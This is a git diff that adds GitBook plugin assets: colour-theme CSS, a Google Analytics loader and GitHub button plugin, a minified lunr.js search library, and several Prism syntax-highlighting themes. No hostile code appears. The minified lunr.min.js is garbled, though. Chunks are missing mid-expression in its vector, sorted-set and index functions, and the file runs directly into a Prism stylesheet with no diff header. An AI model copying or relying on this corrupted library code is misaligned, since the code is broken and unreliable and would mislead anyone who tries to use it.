.book-header .btn:hover { + color: #fffff5; + background: none; +} +.book.color-theme-2 .book-header h1 { + color: #bdcadb; +} +.book.color-theme-1 .book-body .navigation { + color: #afa790; +} +.book.color-theme-1 .book-body .navigation:hover { + color: #73553c; +} +.book.color-theme-2 .book-body .navigation { + color: #383f52; +} +.book.color-theme-2 .book-body .navigation:hover { + color: #fffff5; +} +/* + * Theme 1 + */ +.book.color-theme-1 .book-summary { + color: #afa790; + background: #111111; + border-right: 1px solid rgba(0, 0, 0, 0.07); +} +.book.color-theme-1 .book-summary .book-search { + background: transparent; +} +.book.color-theme-1 .book-summary .book-search input, +.book.color-theme-1 .book-summary .book-search input:focus { + border: 1px solid transparent; +} +.book.color-theme-1 .book-summary ul.summary li.divider { + background: #7e888b; + box-shadow: none; +} +.book.color-theme-1 .book-summary ul.summary li i.fa-check { + color: #33cc33; +} +.book.color-theme-1 .book-summary ul.summary li.done > a { + color: #877f6a; +} +.book.color-theme-1 .book-summary ul.summary li a, +.book.color-theme-1 .book-summary ul.summary li span { + color: #877f6a; + background: transparent; + font-weight: normal; +} +.book.color-theme-1 .book-summary ul.summary li.active > a, +.book.color-theme-1 .book-summary ul.summary li a:hover { + color: #704214; + background: transparent; + font-weight: normal; +} +/* + * Theme 2 + */ +.book.color-theme-2 .book-summary { + color: #bcc1d2; + background: #2d3143; + border-right: none; +} +.book.color-theme-2 .book-summary .book-search { + background: transparent; +} +.book.color-theme-2 .book-summary .book-search input, +.book.color-theme-2 .book-summary .book-search input:focus { + border: 1px solid transparent; +} +.book.color-theme-2 .book-summary ul.summary li.divider { + background: #272a3a; + box-shadow: none; +} +.book.color-theme-2 .book-summary ul.summary li i.fa-check { + color: #33cc33; +} +.book.color-theme-2 .book-summary ul.summary li.done > a { + color: #62687f; +} +.book.color-theme-2 .book-summary ul.summary li a, +.book.color-theme-2 .book-summary ul.summary li span { + color: #c1c6d7; + background: transparent; + font-weight: 600; +} +.book.color-theme-2 .book-summary ul.summary li.active > a, +.book.color-theme-2 .book-summary ul.summary li a:hover { + color: #f4f4f5; + background: #252737; + font-weight: 600; +} diff --git a/gitbook/gitbook-plugin-ga/plugin.js b/gitbook/gitbook-plugin-ga/plugin.js new file mode 100644 index 0000000..ff21e9c --- /dev/null +++ b/gitbook/gitbook-plugin-ga/plugin.js @@ -0,0 +1,17 @@ +require(["gitbook"], function(gitbook) { + // Load analytics.js + gitbook.events.bind("start", function(e, config) { + (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ + (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), + m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) + })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); + + var cfg = config.ga; + ga('create', cfg.token, cfg.configuration); + }); + + // Notify pageview + gitbook.events.bind("page.change", function() { + ga('send', 'pageview', window.location.pathname+window.location.search); + }); +}); diff --git a/gitbook/gitbook-plugin-github/plugin.js b/gitbook/gitbook-plugin-github/plugin.js new file mode 100644 index 0000000..14810ce --- /dev/null +++ b/gitbook/gitbook-plugin-github/plugin.js @@ -0,0 +1,14 @@ +require([ 'gitbook' ], function (gitbook) { + gitbook.events.bind('start', function (e, config) { + var githubURL = config.github.url; + + gitbook.toolbar.createButton({ + icon: 'fa fa-github', + label: 'GitHub', + position: 'right', + onClick: function() { + window.open(githubURL) + } + }); + }); +}); diff --git a/gitbook/gitbook-plugin-lunr/lunr.min.js b/gitbook/gitbook-plugin-lunr/lunr.min.js new file mode 100644 index 0000000..6aa6bc7 --- /dev/null +++ b/gitbook/gitbook-plugin-lunr/lunr.min.js @@ -0,0 +1,7 @@ +/** + * lunr - http://lunrjs.com - A bit like Solr, but much smaller and not as bright - 0.5.12 + * Copyright (C) 2015 Oliver Nightingale + * MIT Licensed + * @license + */ +!function(){var t=function(e){var n=new t.Index;return n.pipeline.add(t.trimmer,t.stopWordFilter,t.stemmer),e&&e.call(n,n),n};t.version="0.5.12",t.utils={},t.utils.warn=function(t){return function(e){t.console&&console.warn&&console.warn(e)}}(this),t.EventEmitter=function(){this.events={}},t.EventEmitter.prototype.addListener=function(){var t=Array.prototype.slice.call(arguments),e=t.pop(),n=t;if("function"!=typeof e)throw new TypeError("last argument must be a function");n.forEach(function(t){this.hasHandler(t)||(this.events[t]=[]),this.events[t].push(e)},this)},t.EventEmitter.prototype.removeListener=function(t,e){if(this.hasHandler(t)){var n=this.events[t].indexOf(e);this.events[t].splice(n,1),this.events[t].length||delete this.events[t]}},t.EventEmitter.prototype.emit=function(t){if(this.hasHandler(t)){var e=Array.prototype.slice.call(arguments,1);this.events[t].forEach(function(t){t.apply(void 0,e)})}},t.EventEmitter.prototype.hasHandler=function(t){return t in this.events},t.tokenizer=function(t){return arguments.length&&null!=t&&void 0!=t?Array.isArray(t)?t.map(function(t){return t.toLowerCase()}):t.toString().trim().toLowerCase().split(/[\s\-]+/):[]},t.Pipeline=function(){this._stack=[]},t.Pipeline.registeredFunctions={},t.Pipeline.registerFunction=function(e,n){n in this.registeredFunctions&&t.utils.warn("Overwriting existing registered function: "+n),e.label=n,t.Pipeline.registeredFunctions[e.label]=e},t.Pipeline.warnIfFunctionNotRegistered=function(e){var n=e.label&&e.label in this.registeredFunctions;n||t.utils.warn("Function is not registered with pipeline. This may cause problems when serialising the index.\n",e)},t.Pipeline.load=function(e){var n=new t.Pipeline;return e.forEach(function(e){var i=t.Pipeline.registeredFunctions[e];if(!i)throw new Error("Cannot load un-registered function: "+e);n.add(i)}),n},t.Pipeline.prototype.add=function(){var e=Array.prototype.slice.call(arguments);e.forEach(function(e){t.Pipeline.warnIfFunctionNotRegistered(e),this._stack.push(e)},this)},t.Pipeline.prototype.after=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._stack.indexOf(e);if(-1==i)throw new Error("Cannot find existingFn");i+=1,this._stack.splice(i,0,n)},t.Pipeline.prototype.before=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._stack.indexOf(e);if(-1==i)throw new Error("Cannot find existingFn");this._stack.splice(i,0,n)},t.Pipeline.prototype.remove=function(t){var e=this._stack.indexOf(t);-1!=e&&this._stack.splice(e,1)},t.Pipeline.prototype.run=function(t){for(var e=[],n=t.length,i=this._stack.length,o=0;n>o;o++){for(var r=t[o],s=0;i>s&&(r=this._stack[s](r,o,t),void 0!==r);s++);void 0!==r&&e.push(r)}return e},t.Pipeline.prototype.reset=function(){this._stack=[]},t.Pipeline.prototype.toJSON=function(){return this._stack.map(function(e){return t.Pipeline.warnIfFunctionNotRegistered(e),e.label})},t.Vector=function(){this._magnitude=null,this.list=void 0,this.length=0},t.Vector.Node=function(t,e,n){this.idx=t,this.val=e,this.next=n},t.Vector.prototype.insert=function(e,n){this._magnitude=void 0;var i=this.list;if(!i)return this.list=new t.Vector.Node(e,n,i),this.length++;if(en.idx?n=n.next:(i+=e.val*n.val,e=e.next,n=n.next);return i},t.Vector.prototype.similarity=function(t){return this.dot(t)/(this.magnitude()*t.magnitude())},t.SortedSet=function(){this.length=0,this.elements=[]},t.SortedSet.load=function(t){var e=new this;return e.elements=t,e.length=t.length,e},t.SortedSet.prototype.add=function(){var t,e;for(t=0;t1;){if(r===t)return o;t>r&&(e=o),r>t&&(n=o),i=n-e,o=e+Math.floor(i/2),r=this.elements[o]}return r===t?o:-1},t.SortedSet.prototype.locationFor=function(t){for(var e=0,n=this.elements.length,i=n-e,o=e+Math.floor(i/2),r=this.elements[o];i>1;)t>r&&(e=o),r>t&&(n=o),i=n-e,o=e+Math.floor(i/2),r=this.elements[o];return r>t?o:t>r?o+1:void 0},t.SortedSet.prototype.intersect=function(e){for(var n=new t.SortedSet,i=0,o=0,r=this.length,s=e.length,a=this.elements,h=e.elements;;){if(i>r-1||o>s-1)break;a[i]!==h[o]?a[i]h[o]&&o++:(n.add(a[i]),i++,o++)}return n},t.SortedSet.prototype.clone=function(){var e=new t.SortedSet;return e.elements=this.toArray(),e.length=e.elements.length,e},t.SortedSet.prototype.union=function(t){var e,n,i;return this.length>=t.length?(e=this,n=t):(e=t,n=this),i=e.clone(),i.add.apply(i,n.toArray()),i},t.SortedSet.prototype.toJSON=function(){return this.toArray()},t.Index=function(){this._fields=[],this._ref="id",this.pipeline=new t.Pipeline,this.documentStore=new t.Store,this.tokenStore=new t.TokenStore,this.corpusTokens=new t.SortedSet,this.eventEmitter=new t.EventEmitter,this._idfCache={},this.on("add","remove","update",function(){this._idfCache={}}.bind(this))},t.Index.prototype.on=function(){var t=Array.prototype.slice.call(arguments);return this.eventEmitter.addListener.apply(this.eventEmitter,t)},t.Index.prototype.off=function(t,e){return this.eventEmitter.removeListener(t,e)},t.Index.load=function(e){e.version!==t.version&&t.utils.warn("version mismatch: current "+t.version+" importing "+e.version);var n=new this;return n._fields=e.fields,n._ref=e.ref,n.documentStore=t.Store.load(e.documentStore),n.tokenStore=t.TokenStore.load(e.tokenStore),n.corpusTokens=t.SortedSet.load(e.corpusTokens),n.pipeline=t.Pipeline.load(e.pipeline),n},t.Index.prototype.field=function(t,e){var e=e||{},n={name:t,boost:e.boost||1};return this._fields.push(n),this},t.Index.prototype.ref=function(t){return this._ref=t,this},t.Index.prototype.add=function(e,n){var i={},o=new t.SortedSet,r=e[this._ref],n=void 0===n?!0:n;this._fields.forEach(function(n){var r=this.pipeline.run(t.tokenizer(e[n.name]));i[n.name]=r,t.SortedSet.prototype.add.apply(o,r)},this),this.documentStore.set(r,o),t.SortedSet.prototype.add.apply(this.corpusTokens,o.toArray());for(var s=0;s0&&(i=1+Math.log(this.documentStore.length/n)),this._idfCache[e]=i},t.Index.prototype.search=function(e){var n=this.pipeline.run(t.tokenizer(e)),i=new t.Vector,o=[],r=this._fields.reduce(function(t,e){return t+e.boost},0),s=n.some(function(t){return this.tokenStore.has(t)},this);if(!s)return[];n.forEach(function(e,n,s){var a=1/s.length*this._fields.length*r,h=this,l=this.tokenStore.expand(e).reduce(function(n,o){var r=h.corpusTokens.indexOf(o),s=h.idf(o),l=1,u=new t.SortedSet;if(o!==e){var c=Math.max(3,o.length-e.length);l=1/Math.log(c)}return r>-1&&i.insert(r,a*s*l),Object.keys(h.tokenStore.get(o)).forEach(function(t){u.add(t)}),n.union(u)},new t.SortedSet);o.push(l)},this);var a=o.reduce(function(t,e){return t.intersect(e)});return a.map(function(t){return{ref:t,score:i.similarity(this.documentVector(t))}},this).sort(function(t,e){return e.score-t.score})},t.Index.prototype.documentVector=function(e){for(var n=this.documentStore.get(e),i=n.length,o=new t.Vector,r=0;i>r;r++){var s=n.elements[r],a=this.tokenStore.get(s)[e].tf,h=this.idf(s);o.insert(this.corpusTokens.indexOf(s),a*h)}return o},t.Index.prototype.toJSON=function(){return{version:t.version,fields:this._fields,ref:this._ref,documentStore:this.documentStore.toJSON(),tokenStore:this.tokenStore.toJSON(),corpusTokens:this.corpusTokens.toJSON(),pipeline:this.pipeline.toJSON()}},t.Index.prototype.use=function(t){var e=Array.prototype.slice.call(arguments,1);e.unshift(this),t.apply(this,e)},t.Store=function(){this.store={},this.length=0},t.Store.load=function(e){var n=new this;return n.length=e.length,n.store=Object.keys(e.store).reduce(function(n,i){return n[i]=t.SortedSet.load(e.store[i]),n},{}),n},t.Store.prototype.set=function(t,e){this.has(t)||this.length++,this.store[t]=e},t.Store.prototype.get=function(t){return this.store[t]},t.Store.prototype.has=function(t){return t in this.store},t.Store.prototype.remove=function(t){this.has(t)&&(delete this.store[t],this.length--)},t.Store.prototype.toJSON=function(){return{store:this.store,length:this.length}},t.stemmer=function(){var t={ational:"ate",tional:"tion",enci:"ence",anci:"ance",izer:"ize",bli:"ble",alli:"al",entli:"ent",eli:"e",ousli:"ous",ization:"ize",ation:"ate",ator:"ate",alism:"al",iveness:"ive",fulness:"ful",ousness:"ous",aliti:"al",iviti:"ive",biliti:"ble",logi:"log"},e={icate:"ic",ative:"",alize:"al",iciti:"ic",ical:"ic",ful:"",ness:""},n="[^aeiou]",i="[aeiouy]",o=n+"[^aeiouy]*",r=i+"[aeiou]*",s="^("+o+")?"+r+o,a="^("+o+")?"+r+o+"("+r+")?$",h="^("+o+")?"+r+o+r+o,l="^("+o+")?"+i,u=new RegExp(s),c=new RegExp(h),f=new RegExp(a),d=new RegExp(l),p=/^(.+?)(ss|i)es$/,m=/^(.+?)([^s])s$/,v=/^(.+?)eed$/,y=/^(.+?)(ed|ing)$/,g=/.$/,S=/(at|bl|iz)$/,w=new RegExp("([^aeiouylsz])\\1$"),x=new RegExp("^"+o+i+"[^aeiouwxy]$"),k=/^(.+?[^aeiou])y$/,b=/^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/,E=/^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/,_=/^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/,F=/^(.+?)(s|t)(ion)$/,O=/^(.+?)e$/,P=/ll$/,N=new RegExp("^"+o+i+"[^aeiouwxy]$"),T=function(n){var i,o,r,s,a,h,l;if(n.length<3)return n;if(r=n.substr(0,1),"y"==r&&(n=r.toUpperCase()+n.substr(1)),s=p,a=m,s.test(n)?n=n.replace(s,"$1$2"):a.test(n)&&(n=n.replace(a,"$1$2")),s=v,a=y,s.test(n)){var T=s.exec(n);s=u,s.test(T[1])&&(s=g,n=n.replace(s,""))}else if(a.test(n)){var T=a.exec(n);i=T[1],a=d,a.test(i)&&(n=i,a=S,h=w,l=x,a.test(n)?n+="e":h.test(n)?(s=g,n=n.replace(s,"")):l.test(n)&&(n+="e"))}if(s=k,s.test(n)){var T=s.exec(n);i=T[1],n=i+"i"}if(s=b,s.test(n)){var T=s.exec(n);i=T[1],o=T[2],s=u,s.test(i)&&(n=i+t[o])}if(s=E,s.test(n)){var T=s.exec(n);i=T[1],o=T[2],s=u,s.test(i)&&(n=i+e[o])}if(s=_,a=F,s.test(n)){var T=s.exec(n);i=T[1],s=c,s.test(i)&&(n=i)}else if(a.test(n)){var T=a.exec(n);i=T[1]+T[2],a=c,a.test(i)&&(n=i)}if(s=O,s.test(n)){var T=s.exec(n);i=T[1],s=c,a=f,h=N,(s.test(i)||a.test(i)&&!h.test(i))&&(n=i)}return s=P,a=c,s.test(n)&&a.test(n)&&(s=g,n=n.replace(s,"")),"y"==r&&(n=r.toLowerCase()+n.substr(1)),n};return T}(),t.Pipeline.registerFunction(t.stemmer,"stemmer"),t.stopWordFilter=function(e){return e&&t.stopWordFilter.stopWords[e]!==e?e:void 0},t.stopWordFilter.stopWords={a:"a",able:"able",about:"about",across:"across",after:"after",all:"all",almost:"almost",also:"also",am:"am",among:"among",an:"an",and:"and",any:"any",are:"are",as:"as",at:"at",be:"be",because:"because",been:"been",but:"but",by:"by",can:"can",cannot:"cannot",could:"could",dear:"dear",did:"did","do":"do",does:"does",either:"either","else":"else",ever:"ever",every:"every","for":"for",from:"from",get:"get",got:"got",had:"had",has:"has",have:"have",he:"he",her:"her",hers:"hers",him:"him",his:"his",how:"how",however:"however",i:"i","if":"if","in":"in",into:"into",is:"is",it:"it",its:"its",just:"just",least:"least",let:"let",like:"like",likely:"likely",may:"may",me:"me",might:"might",most:"most",must:"must",my:"my",neither:"neither",no:"no",nor:"nor",not:"not",of:"of",off:"off",often:"often",on:"on",only:"only",or:"or",other:"other",our:"our",own:"own",rather:"rather",said:"said",say:"say",says:"says",she:"she",should:"should",since:"since",so:"so",some:"some",than:"than",that:"that",the:"the",their:"their",them:"them",then:"then",there:"there",these:"these",they:"they","this":"this",tis:"tis",to:"to",too:"too",twas:"twas",us:"us",wants:"wants",was:"was",we:"we",were:"were",what:"what",when:"when",where:"where",which:"which","while":"while",who:"who",whom:"whom",why:"why",will:"will","with":"with",would:"would",yet:"yet",you:"you",your:"your"},t.Pipeline.registerFunction(t.stopWordFilter,"stopWordFilter"),t.trimmer=function(t){var e=t.replace(/^\W+/,"").replace(/\W+$/,"");return""===e?void 0:e},t.Pipeline.registerFunction(t.trimmer,"trimmer"),t.TokenStore=function(){this.root={docs:{}},this.length=0},t.TokenStore.load=function(t){var e=new this;return e.root=t.root,e.length=t.length,e},t.TokenStore.prototype.add=function(t,e,n){var n=n||this.root,i=t[0],o=t.slice(1);return i in n||(n[i]={docs:{}}),0===o.length?(n[i].docs[e.ref]=e,void(this.length+=1)):this.add(o,e,n[i])},t.TokenStore.prototype.has=function(t){if(!t)return!1;for(var e=this.root,n=0;n code[class*="language-"], +pre[class*="language-"] { + background: #2b2b2b; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: 0.1em; + border-radius: 0.3em; + white-space: normal; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #d4d0ab; +} + +.token.punctuation { + color: #fefefe; +} + +.token.property, +.token.tag, +.token.constant, +.token.symbol, +.token.deleted { + color: #ffa07a; +} + +.token.boolean, +.token.number { + color: #00e0e0; +} + +.token.selector, +.token.attr-name, +.token.string, +.token.char, +.token.builtin, +.token.inserted { + color: #abe338; +} + +.token.operator, +.token.entity, +.token.url, +.language-css .token.string, +.style .token.string, +.token.variable { + color: #00e0e0; +} + +.token.atrule, +.token.attr-value, +.token.function { + color: #ffd700; +} + +.token.keyword { + color: #00e0e0; +} + +.token.regex, +.token.important { + color: #ffd700; +} + +.token.important, +.token.bold { + font-weight: bold; +} + +.token.italic { + font-style: italic; +} + +.token.entity { + cursor: help; +} + +@media screen and (-ms-high-contrast: active) { + code[class*="language-"], + pre[class*="language-"] { + color: windowText; + background: window; + } + + :not(pre) > code[class*="language-"], + pre[class*="language-"] { + background: window; + } + + .token.important { + background: highlight; + color: window; + font-weight: normal; + } + + .token.atrule, + .token.attr-value, + .token.function, + .token.keyword, + .token.operator, + .token.selector { + font-weight: bold; + } + + .token.attr-value, + .token.comment, + .token.doctype, + .token.function, + .token.keyword, + .token.operator, + .token.property, + .token.string { + color: highlight; + } + + .token.attr-value, + .token.url { + font-weight: normal; + } +} diff --git a/gitbook/gitbook-plugin-prism/prism-atom-dark.css b/gitbook/gitbook-plugin-prism/prism-atom-dark.css new file mode 100644 index 0000000..749b17c --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-atom-dark.css @@ -0,0 +1,143 @@ +/** + * atom-dark theme for `prism.js` + * Based on Atom's `atom-dark` theme: https://github.com/atom/atom-dark-syntax + * @author Joe Gibson (@gibsjose) + */ + +code[class*="language-"], +pre[class*="language-"] { + color: #c5c8c6; + text-shadow: 0 1px rgba(0, 0, 0, 0.3); + font-family: Inconsolata, Monaco, Consolas, 'Courier New', Courier, monospace; + direction: ltr; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + line-height: 1.5; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; + border-radius: 0.3em; +} + +:not(pre) > code[class*="language-"], +pre[class*="language-"] { + background: #1d1f21; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .1em; + border-radius: .3em; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #7C7C7C; +} + +.token.punctuation { + color: #c5c8c6; +} + +.namespace { + opacity: .7; +} + +.token.property, +.token.keyword, +.token.tag { + color: #96CBFE; +} + +.token.class-name { + color: #FFFFB6; + text-decoration: underline; +} + +.token.boolean, +.token.constant { + color: #99CC99; +} + +.token.symbol, +.token.deleted { + color: #f92672; +} + +.token.number { + color: #FF73FD; +} + +.token.selector, +.token.attr-name, +.token.string, +.token.char, +.token.builtin, +.token.inserted { + color: #A8FF60; +} + +.token.variable { + color: #C6C5FE; +} + +.token.operator { + color: #EDEDED; +} + +.token.entity { + color: #FFFFB6; + cursor: help; +} + +.token.url { + color: #96CBFE; +} + +.language-css .token.string, +.style .token.string { + color: #87C38A; +} + +.token.atrule, +.token.attr-value { + color: #F9EE98; +} + +.token.function { + color: #DAD085; +} + +.token.regex { + color: #E9C062; +} + +.token.important { + color: #fd971f; +} + +.token.important, +.token.bold { + font-weight: bold; +} + +.token.italic { + font-style: italic; +} diff --git a/gitbook/gitbook-plugin-prism/prism-base16-ateliersulphurpool.light.css b/gitbook/gitbook-plugin-prism/prism-base16-ateliersulphurpool.light.css new file mode 100644 index 0000000..9610b12 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-base16-ateliersulphurpool.light.css @@ -0,0 +1,176 @@ +/* + +Name: Base16 Atelier Sulphurpool Light +Author: Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/sulphurpool) + +Prism template by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/prism/) +Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) + +*/ +code[class*="language-"], +pre[class*="language-"] { + font-family: Consolas, Menlo, Monaco, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", "Courier New", Courier, monospace; + font-size: 14px; + line-height: 1.375; + direction: ltr; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; + background: #f5f7ff; + color: #5e6687; +} + +pre > code[class*="language-"] { + font-size: 1em; +} + +pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, +code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { + text-shadow: none; + background: #dfe2f1; +} + +pre[class*="language-"]::selection, pre[class*="language-"] ::selection, +code[class*="language-"]::selection, code[class*="language-"] ::selection { + text-shadow: none; + background: #dfe2f1; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .1em; + border-radius: .3em; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #898ea4; +} + +.token.punctuation { + color: #5e6687; +} + +.token.namespace { + opacity: .7; +} + +.token.operator, +.token.boolean, +.token.number { + color: #c76b29; +} + +.token.property { + color: #c08b30; +} + +.token.tag { + color: #3d8fd1; +} + +.token.string { + color: #22a2c9; +} + +.token.selector { + color: #6679cc; +} + +.token.attr-name { + color: #c76b29; +} + +.token.entity, +.token.url, +.language-css .token.string, +.style .token.string { + color: #22a2c9; +} + +.token.attr-value, +.token.keyword, +.token.control, +.token.directive, +.token.unit { + color: #ac9739; +} + +.token.statement, +.token.regex, +.token.atrule { + color: #22a2c9; +} + +.token.placeholder, +.token.variable { + color: #3d8fd1; +} + +.token.deleted { + text-decoration: line-through; +} + +.token.inserted { + border-bottom: 1px dotted #202746; + text-decoration: none; +} + +.token.italic { + font-style: italic; +} + +.token.important, +.token.bold { + font-weight: bold; +} + +.token.important { + color: #c94922; +} + +.token.entity { + cursor: help; +} + +pre > code.highlight { + outline: 0.4em solid #c94922; + outline-offset: .4em; +} + +/* overrides color-values for the Line Numbers plugin + * http://prismjs.com/plugins/line-numbers/ + */ +.line-numbers .line-numbers-rows { + border-right-color: #dfe2f1; +} + +.line-numbers-rows > span:before { + color: #979db4; +} + +/* overrides color-values for the Line Highlight plugin + * http://prismjs.com/plugins/line-highlight/ + */ +.line-highlight { + background: rgba(107, 115, 148, 0.2); + background: -webkit-linear-gradient(left, rgba(107, 115, 148, 0.2) 70%, rgba(107, 115, 148, 0)); + background: linear-gradient(to right, rgba(107, 115, 148, 0.2) 70%, rgba(107, 115, 148, 0)); +} diff --git a/gitbook/gitbook-plugin-prism/prism-cb.css b/gitbook/gitbook-plugin-prism/prism-cb.css new file mode 100644 index 0000000..9c2a15b --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-cb.css @@ -0,0 +1,176 @@ +/* + * Based on Plugin: Syntax Highlighter CB + * Plugin URI: http://wp.tutsplus.com/tutorials/plugins/adding-a-syntax-highlighter-shortcode-using-prism-js + * Description: Highlight your code snippets with an easy to use shortcode based on Lea Verou's Prism.js. + * Version: 1.0.0 + * Author: c.bavota + * Author URI: http://bavotasan.comhttp://wp.tutsplus.com/tutorials/plugins/adding-a-syntax-highlighter-shortcode-using-prism-js/ */ +/* http://cbavota.bitbucket.org/syntax-highlighter/ */ + +/* ===== ===== */ +code[class*="language-"], +pre[class*="language-"] { + color: #fff; + text-shadow: 0 1px 1px #000; + font-family: Menlo, Monaco, "Courier New", monospace; + direction: ltr; + text-align: left; + word-spacing: normal; + white-space: pre; + word-wrap: normal; + line-height: 1.4; + background: none; + border: 0; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +pre[class*="language-"] code { + float: left; + padding: 0 15px 0 0; +} + +pre[class*="language-"], +:not(pre) > code[class*="language-"] { + background: #222; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 15px; + margin: 1em 0; + overflow: auto; + -moz-border-radius: 8px; + -webkit-border-radius: 8px; + border-radius: 8px; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: 5px 10px; + line-height: 1; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #797979; +} + +.token.selector, +.token.operator, +.token.punctuation { + color: #fff; +} + +.token.namespace { + opacity: .7; +} + +.token.tag, +.token.boolean { + color: #ffd893; +} + +.token.atrule, +.token.attr-value, +.token.hex, +.token.string { + color: #B0C975; +} + +.token.property, +.token.entity, +.token.url, +.token.attr-name, +.token.keyword { + color: #c27628; +} + +.token.regex { + color: #9B71C6; +} + +.token.entity { + cursor: help; +} + +.token.function, +.token.constant { + color: #e5a638; +} + +.token.variable { + color: #fdfba8; +} + +.token.number { + color: #8799B0; +} + +.token.important, +.token.deliminator { + color: #E45734; +} + +/* Line highlight plugin */ +pre[data-line] { + position: relative; + padding: 1em 0 1em 3em; +} + +.line-highlight { + position: absolute; + left: 0; + right: 0; + margin-top: 1em; /* Same as .prism's padding-top */ + background: rgba(255, 255, 255, .2); + pointer-events: none; + line-height: inherit; + white-space: pre; +} + +.line-highlight:before, +.line-highlight[data-end]:after { + content: attr(data-start); + position: absolute; + top: .3em; + left: .6em; + min-width: 1em; + padding: 0 .5em; + background-color: rgba(255, 255, 255, .3); + color: #fff; + font: bold 65%/1.5 sans-serif; + text-align: center; + -moz-border-radius: 8px; + -webkit-border-radius: 8px; + border-radius: 8px; + text-shadow: none; +} + +.line-highlight[data-end]:after { + content: attr(data-end); + top: auto; + bottom: .4em; +} + +/* for line numbers */ +.line-numbers-rows { + margin: 0; +} + +.line-numbers-rows span { + padding-right: 10px; + border-right: 3px #d9d336 solid; +} diff --git a/gitbook/gitbook-plugin-prism/prism-coldark-cold.css b/gitbook/gitbook-plugin-prism/prism-coldark-cold.css new file mode 100644 index 0000000..c662099 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-coldark-cold.css @@ -0,0 +1,298 @@ +/** + * Coldark Theme for Prism.js + * Theme variation: Cold + * Tested with HTML, CSS, JS, JSON, PHP, YAML, Bash script + * @author Armand Philippot + * @homepage https://github.com/ArmandPhilippot/coldark-prism + * @license MIT + */ +code[class*="language-"], +pre[class*="language-"] { + color: #111b27; + background: none; + font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + word-wrap: normal; + line-height: 1.5; + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +pre[class*="language-"]::-moz-selection, +pre[class*="language-"] ::-moz-selection, +code[class*="language-"]::-moz-selection, +code[class*="language-"] ::-moz-selection { + background: #ccd6e4; +} + +pre[class*="language-"]::selection, +pre[class*="language-"] ::selection, +code[class*="language-"]::selection, +code[class*="language-"] ::selection { + background: #ccd6e4; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: 0.5em 0; + overflow: auto; +} + +:not(pre) > code[class*="language-"], +pre[class*="language-"] { + background: #e3e9f2; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: 0.1em 0.3em; + border-radius: 0.3em; + white-space: normal; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #304259; + font-style: italic; +} + +.token.punctuation { + color: #111b27; +} + +.token.selector, +.token.tag { + color: #007474; +} + +.token.attr-name, +.token.boolean, +.token.number, +.token.constant, +.token.pseudo-class, +.token.pseudo-element, +.token.selector .token.attribute { + color: #7d6600; +} + +.token.class-name, +.token.key, +.token.parameter, +.token.property, +.token.property-access, +.token.variable { + color: #005c99; +} + +.token.attr-value, +.token.inserted, +.token.color, +.token.selector .token.value, +.token.string, +.token.string .token.url-link { + color: #237800; +} + +.token.builtin, +.token.keyword-array, +.token.package, +.token.regex { + color: #b800b8; +} + +.token.function, +.token.selector .token.class, +.token.selector .token.id { + color: #8600c6; +} + +.token.atrule .token.rule, +.token.combinator, +.token.keyword, +.token.operator, +.token.unit { + color: #aa4d00; +} + +.token.deleted, +.token.important { + color: #bf0100; +} + +.token.keyword-this, +.token.this { + color: #005c99; +} + +.token.important, +.token.keyword-this, +.token.this, +.token.bold { + font-weight: bold; +} + +.token.italic { + font-style: italic; +} + +.token.entity { + cursor: help; +} 